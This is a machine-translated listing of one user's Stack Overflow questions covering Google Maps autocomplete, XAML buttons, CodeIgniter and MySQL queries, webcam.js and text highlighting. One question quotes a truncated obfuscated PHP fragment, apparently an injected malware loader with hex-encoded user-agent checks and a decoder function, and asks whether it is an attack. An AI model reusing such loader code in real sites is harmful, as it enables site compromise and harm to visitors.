小编Saj*_*v C的帖子

仅供参考,我不是一个JavaScript忍者,但我觉得当我最近基于谷歌地图做了很多事情时我会变成一个.

我实施了一张地图.用户可以搜索谷歌地点并为其添加标记.有一个文本框.或者,用户可以单击地图将标记放置到他要查找的位置或拖动标记.

代码保持不变.设计改变了.输入字段的ID和名称也相同.没有改变JS代码.但是这件事没有用.

这是网站

谷歌地图正在产生错误.

 InvalidValueError: not an instance of HTMLInputElement

我试过这里给出的解决方案 但错误仍然存​​在.

可能的原因是什么？

这是代码:

        var map;
        var marker;
        var latLngC;

        function initialize() 
        {
            latLngC = new google.maps.LatLng(14.5800, 121.0000);
            var mapOptions = {
        center: latLngC,
        zoom: 12,
        mapTypeId: google.maps.MapTypeId.ROADMAP,
        };

            map = new google.maps.Map(document.getElementById('source_map'),
        mapOptions);

        var marker = new google.maps.Marker({
                position: latLngC,
                map: map,
                draggable: true
            });

            google.maps.event.addListener(marker, 'dragend', function (x) 
            {
            document.getElementById('src_lat').value = x.latLng.lat();
            document.getElementById('src_long').value = x.latLng.lng();
            document.getElementById('pickup_location').innerHTML = x.latLng.lat()+' , '+x.latLng.lng();
                var geocoder = new …

我有两个按钮 - 按钮A和按钮B.两个按钮最初都是隐藏的.数据来自Observable Collection OCollection.

这就是我想要实现的目标:

1)最初,两个按钮都被隐藏.(完成)

2)在第一次单击(单击任何列表视图项)时,应使按钮A可见.(完成)

3)在其余的点击上(单击任何其他列表视图项目,而不是按钮A保持可见的项目),应使按钮B可见.按钮A的可见性不应改回Collapsed.

注意:每个Listview项必须只包含一个Button(按钮A或按钮B).

OCollection被设置为ListView的ItemSource.每个ListView项都是一个包含默认图像的网格.

XAML:

     <ListView Name="lv" 
              ItemsSource="{Binding OCollection}" 
              Background="Linen"                  
              Grid.ColumnSpan="3">
        <ListView.ItemTemplate>
            <DataTemplate>
                <Grid Background="LightGray" Name="buttonGrid" Tag="{Binding dumyString}">
                    <i:Interaction.Behaviors>
                        <ic:DataTriggerBehavior Binding="{Binding ElementName=lv, Path=SelectedValue.dumyString}" Value="{Binding dumyString}" ComparisonCondition="Equal">
                            <ic:ChangePropertyAction TargetObject="{Binding ElementName=ButtonA}" PropertyName="Visibility" Value="Visible" />
                        </ic:DataTriggerBehavior>
                        <ic:DataTriggerBehavior Binding="{Binding ElementName=lv, Path=SelectedValue.dumyString}" Value="{Binding dumyString}" ComparisonCondition="NotEqual">
                            <ic:ChangePropertyAction TargetObject="{Binding ElementName=ButtonA}" PropertyName="Visibility" Value="Collapsed" />
                        </ic:DataTriggerBehavior>
                        <ic:DataTriggerBehavior Binding="{Binding ElementName=lv, Path=buttonGrid.Tag}" Value="{Binding dumyString}" ComparisonCondition="Equal">
                            <ic:ChangePropertyAction TargetObject="{Binding ElementName=ButtonB}" PropertyName="Visibility" Value="Visible" />
                        </ic:DataTriggerBehavior>                            
                    </i:Interaction.Behaviors>

                    <Image Source="/Assets/Logo.png" />
                    <Button Name="ButtonA" Content="ButtonA" Background="Black" …

故事

我们有一个父母(div).父母可以有n个孩子.父项可以拥有的子项数由PHP变量决定$bigF.

所以,如果$bigF是5,那么父母有5个孩子.如果它是10,那么它是10.但是$bigF在这个上下文中没有任何作用,因为一旦页面加载,父级将有n个子级.你知道,这不是动态的,而是我想说的.

<div id="parent">
    <div id="child1" class="click" style="display:block">
         Child1
         <div id="grandchild1A">
             grand child 1A
        </div>
         <div id="grandchild1B">
             grand child 1B
        </div>        
    </div>

     <div id="child2" class="click" style="display:none">
         Child2
         <div id="grandchild2A">
             grand child 2A
        </div>
        <div id="grandchild2B">
             grand child 2B
        </div>
    </div>

      <div id="child3" class="click" style="display:none">
         Child3
         <div id="grandchild3A">
             grand child 3A
        </div>
        <div id="grandchild3B">
             grand child 3B
        </div>
    </div>   
</div>

<br><br><br>
 Calling children down
 <br><br>
  <div class="callchild" data-count="child1"> Call Child 1</div>
  <div class="callchild" data-count="child2"> …

 SELECT  from_id, (SELECT COUNT(id) FROM user_messages WHERE from_id=1223 AND status=1) AS sent_unread, 
    (SELECT COUNT(id) FROM user_messages WHERE from_id=1223 AND status=2) AS sent_read 
    FROM user_messages 
    WHERE from_id=1223 
    GROUP BY from_id

如何在CodeIgniter活动记录中编写上面的select语句？

这就是我想出的:

  $this->db->select('from_id, (SELECT COUNT(id) FROM user_messages WHERE from_id=1223 AND status=1) AS sent_unread,
        (SELECT COUNT(id) FROM user_messages WHERE from_id=1223 AND status=2) AS sent_read');

    $this->db->where('from_id', $member_id);

    $this->db->group_by('from_id');

    $this->db->from('user_messages');

    $result = $this->db->get();

    //echo $this->db->last_query();
    return $result->row();

这是正确的方法吗？

表名:xyz类型:InnoDB排序规则:latin1_swedish_ci

领域:

---------------------------------------------------------------------------
            Field        | Type        | Collation         | Extra        |
---------------------------------------------------------------------------
            id           | int         |                   | Primary Key  |
---------------------------------------------------------------------------
            name         | varchar     | latin1_swedish_ci |              |
---------------------------------------------------------------------------

这是我的数据库表.当我试图为这样的名称插入一个值

If T?, T?, T? . . . . . . . Tn represent the terms in the expansion of (x + a)n, then (T? - T? + T? - . . )2 + (T? - T? + T? - . . )2 

我收到以下错误:

Error Number: 1267Illegal mix of collations …

我在我的一个项目中使用网络摄像头 JS。

https://github.com/jhuckaby/webcamjs

我使用的版本：1.0.0 可用的最新版本：1.0.5

它在 Chrome 和 Firefox 中运行良好。但最近网络摄像头错误开始仅在 CHROME 中显示。Firefox 仍然可以正常工作。

我在 1.0.0 中收到的错误： Webcam.JS Error: cannot access webcam.

我升级了版本，现在我在 chrome 中遇到的错误是

Webcam.js Error: Could not access webcam.
Permission Error: Only secure origins are allowed

https://www.chromium.org/Home/chromium-security/prefer-secure-origins-for-powerful-new-features

我的网站有一个安全的来源。

谁能告诉我为什么我会面临这样的错误？

我相信复制粘贴 webcam.js 代码没有意义。

这是我使用的代码：

Webcam.set({
      width: 320,
     height: 240,
     dest_width: 320,
     dest_height: 240,
     image_format: 'jpeg',
     jpeg_quality: 90,
     force_flash: false
    });
    Webcam.attach( '#my_camera' );

我会直言不讳.

我的表看起来像这样

CREATE TABLE user_orders(id INT(11), o_name VARCHAR(60), amount INT(10), discount INT (10), overall INT(10));
INSERT INTO user_orders(id,o_name,amount,discount,overall) VALUES (1,'first', 10,0,10);
INSERT INTO user_orders(id,o_name,amount,discount,overall) VALUES (2,'second', 20,20,40);
INSERT INTO user_orders(id,o_name,amount,discount,overall) VALUES (3,'third', 0,0,0);
INSERT INTO user_orders(id,o_name,amount,discount,overall) VALUES (4,'fourth', 40,40,80);

这就是我试图获得的:

SELECT * FROM user_orders
WHERE amount=discount
AND amount!=0 AND discount!=0;

SQL FIDDLE

我想从表中提取数据时域amount和discount是相同的,不等于零.

所以使用CI,我写了这个

    $this->db->select('count( id ) AS total_discounted',FALSE);
    $this->db->where('amount','discounts');     
    $this->db->where('discounts !=',0);
    $this->db->where('amount !=',0);

    $results=$this->db->get('user_orders');
    echo $this->db->last_query();

产生查询

SELECT * FROM user_orders
WHERE amount='discount'
AND amount!=0 …

我正在为Windows Phone 8.1构建自定义控件.但是stackpanel没有向下滚动.StackPanel包含一个ListView,它可以调出一个TextBlock,另一个StackPanel包含一个Toggle Button.

<StackPanel Orientation="Vertical" >
        <ListView Grid.Row="0" Background="RoyalBlue">
            <ListView.ItemTemplate>
                <DataTemplate>
                    <Grid>
                        <TextBlock Text="Some Text" Foreground="Black" FontSize="20" TextAlignment="Center" ></TextBlock>
                    </Grid>                     
                </DataTemplate>
            </ListView.ItemTemplate>
        </ListView>
        <StackPanel Grid.Row="2" HorizontalAlignment="Stretch" Background="Red" Orientation="Horizontal">
            <Grid HorizontalAlignment="Stretch">
                <Grid.ColumnDefinitions>
                    <ColumnDefinition Width="*"></ColumnDefinition>
                </Grid.ColumnDefinitions>
                <ToggleButton Grid.Column="0" Content="Toggle Me"  />
            </Grid>
       </StackPanel>
</StackPanel>

在更新PHP网站时,我遇到了这段代码.它没有任何意义.

这可能是什么？攻击网站或某事???

 <?php

if (!isset($GLOBALS["\x61\156\x75\156\x61"]))
 {
 $ua = strtolower($_SERVER["\x48\124\x54\120\x5f\125\x53\105\x52\137\x41\107\x45\116\x54"]);
 if ((!strstr($ua, "\x6d\163\x69\145")) && (!strstr($ua, "\x72\166\x3a\61\x31")) && (!strstr($ua, "\x61\156\x64\162\x6f\151\x64")) && (!strstr($ua, "\x6d\157\x62\151\x6c\145")) && (!strstr($ua, "\x69\160\x68\157\x6e\145")) && (!strstr($ua, "\x69\160\x61\144")) && (!strstr($ua, "\x6f\160\x65\162\x61\40\x6d"))) $GLOBALS["\x61\156\x75\156\x61"] = 1;
 } ?><?php
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$ocskvyfdqx = explode(chr((235 - 191)) , '818,35,4175,64,3243,58,10019,21,1481,56,7033,33,9024,59,5326,57,1686,59,9997,22,6700,49,9235,48,957,43,2373,61,9124,24,3546,52,6656,44,4065,66,7902,34,4455,34,3502,44,7578,38,9473,37,3774,22,4735,58,84,22,5432,56,3405,49,6749,60,2571,34,1646,20,9331,57,3678,68,3923,58,7256,68,6588,68,530,48,1084,48,1745,24,2605,28,4959,49,9839,27,9193,42,8579,38,1666,20,5865,57,128,44,2749,63,6984,49,9442,31,7851,51,2900,29,5164,55,9168,25,2180,68,230,39,5601,37,9148,20,3375,30,5550,26,2057,49,9739,38,9580,67,7936,31,6407,67,3598,58,9388,54,6122,48,6528,21,7155,52,7124,31,7642,45,9510,70,8087,65,5107,26,2633,24,780,38,8351,44,300,44,3746,28,6170,21,4386,25,4548,64,8617,42,2472,70,6944,40,4025,40,8971,53,853,23,4297,38,578,30,3156,28,269,31,5008,34,4131,44,3301,32,2689,60,1270,42,3112,44,608,29,3874,49,5703,29,425,52,1170,68,6317,48,3184,37,8812,25,1623,23,8680,60,2812,20,6809,64,7427,68,1572,21,6256,61,8740,31,2657,32,8524,55,8495,29,6083,39,1132,38,4664,47,5638,65,7519,59,2029,28,1359,45,2991,52,637,40,4335,51,8837,31,8771,41,3454,48,5042,65,4793,69,5922,55,2106,27,8659,21,6031,52,8206,63,9083,41,42,42,404,21,2133,47,5999,32,9777,62,2929,62,1593,30,5576,25,3221,22,6227,29,1846,69,4612,52,5796,69,9923,27,6365,42,5977,22,1537,35,8305,46,4711,24,724,56,1312,47,2832,68,1029,55,6915,29,677,47,477,53,5303,23,8449,46,8395,54,5488,62,4239,58,8929,42,6873,42,8152,54,7495,24,1820,26,9711,28,876,53,2314,59,6474,54,6191,36,2248,66,929,28,7207,49,1915,70,5219,54,4862,47,1404,54,5383,49,3656,22,1985,44,7324,34,4909,50,9950,47,2434,38,2542,29,7616,26,7828,23,1769,51,4489,59,7066,58,1000,29,9283,48,5273,30,5133,31,9866,57,0,42,7967,50,3796,51,5732,64,9647,64,4411,44,7752,37,8269,36,7789,39,7687,65,10040,66,106,22,3043,69,3847,27,7358,69,8868,61,3333,42,344,60,1458,23,3981,44,172,58,8017,70,1238,32,6549,39');
$niqesrdxdn = substr($vwxsajnbcm, (32536 - 22430) , (34 - 27));

if (!function_exists('zzrfhvkcwo'))
 {
 function zzrfhvkcwo($znzwjxpcyc, $lfafkymhqq)
  {
  $xnhcrqpkcp = NULL;
  for ($gznncvjdur = 0; …

参考

我正在尝试构建一个具有与单词搜索类似的功能的表单.

我有一个文本区域和一系列内容的div.当用户键入单词或句子时,与div内容匹配的单词以黄色突出显示,并且当删除或清空文本区域内容时,也会删除突出显示.

我制作的样本突出了单词,但没有完全突出显示.仅突出显示第一个字符.当我尝试搜索新单词时,之前突出显示的单词仍会突出显示.

HTML

<textarea id="my_ta" name="my_ta"></textarea>
<hr>
    Similiar Words
<hr>
<div>
    This is a serious question   
</div>
<div>
    Does this question ring a bell inside your head?
</div>    
<div>
    This question is a question about questions    
</div>   

CSS

.highlight { background-color: yellow }

JavaScript的

$(document).ready(function(){
    $('#my_ta').keypress(function()
    {                                           
        var value = $(this).val();
        if(value)
        {
            $('div').highlight(value); 
        }
        else
        {
          $('.highlight').removeHighlight();
        }
    });        
 });

小提琴